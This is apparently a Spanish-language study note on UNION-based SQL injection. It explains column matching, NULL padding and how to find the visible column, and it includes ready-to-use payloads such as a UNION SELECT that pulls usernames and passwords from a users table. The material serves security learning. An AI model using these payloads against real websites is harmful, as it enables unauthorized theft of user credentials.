SQL Injection – UNION
🔎 Qué es UNION
La cláusula UNION combina resultados de múltiples SELECT.
En una SQLi tipo UNION injection inyectamos un UNION SELECT ... para que la salida incluya filas de otras tablas (p. ej. usuarios/contraseñas).
Los tipos de datos y el número de columnas deben coincidir entre las SELECTs que se van a UNION-ar.
✅ Ejemplo básico (combinar tablas)
SELECT * FROM ports;
-- devuelve:
-- | code | city |
-- | CN SHA| Shanghai |
-- | SG SIN| Singapore |
-- ...
SELECT * FROM ships;
-- devuelve:
-- | Ship | city |
-- | Morrison | New York |
Si ambas tienen mismo número y tipo de columnas:
SELECT * FROM ports
UNION
SELECT * FROM ships;
Salida: filas de ambas tablas combinadas.
⚠️ Número de columnas (debe ser igual)
Si los SELECTs devuelven distinto nº de columnas sale error:
SELECT city FROM ports
UNION
SELECT * FROM ships;
-- ERROR: The used SELECT statements have a different number of columns
Cómo sortearlo (relleno/junk)
Si la consulta original devuelve N columnas, tu UNION SELECT debe devolver también N columnas. Para las columnas que no te interesan, rellena con valores constantes (números, strings o NULL).
Ejemplo: la tabla products tiene 2 columnas y quieres extraer username:
SELECT * FROM products WHERE product_id = '1'
UNION
SELECT username, 2 FROM passwords-- '
Resultado: la segunda fila contendrá username en la primera columna y 2 en la segunda.
Usar NULL suele ser práctico: NULL encaja con muchos tipos de datos.
🧠 Estrategia práctica para UNION-based SQLi
-
Determinar cuántas columnas devuelve la consulta original.
- Método rápido: probar
ORDER BYcon índices incrementales, oUNION SELECT NULL,NULL,...hasta no dar error.
- Método rápido: probar
-
Construir la carga
UNION SELECT col1, col2, ..., colN FROM target_tabledonde N coincide. -
Rellenar columnas sobrantes con
NULL, números o strings compatibles con el tipo. -
Añadir comentario al final para truncar resto de la consulta:
--o#.
Ejemplo completo (target con 4 columnas; queremos username y password):
' UNION SELECT username, password, NULL, NULL FROM users--
🧾 Nota sobre tipos de datos
-
Asegúrate de que el tipo de dato de cada columna de tu
UNION SELECTsea compatible con la columna correspondiente de la consulta original. -
Si pones un string donde el original espera número, puede fallar.
NULLes más flexible.
🔍 Técnica: localizar la columna “visible”
A veces solo una columna del resultado se imprime en la página. Para identificar qué columna muestra contenido, inyecta números únicos (1,2,3,...) en tu UNION SELECT y fíjate cuál aparece. Ejemplo:
' UNION SELECT 1,2,3,4--
Si en la página ves 3, entonces la tercera columna es la que se muestra: reemplazar 3 por username te permitirá ver los datos deseados.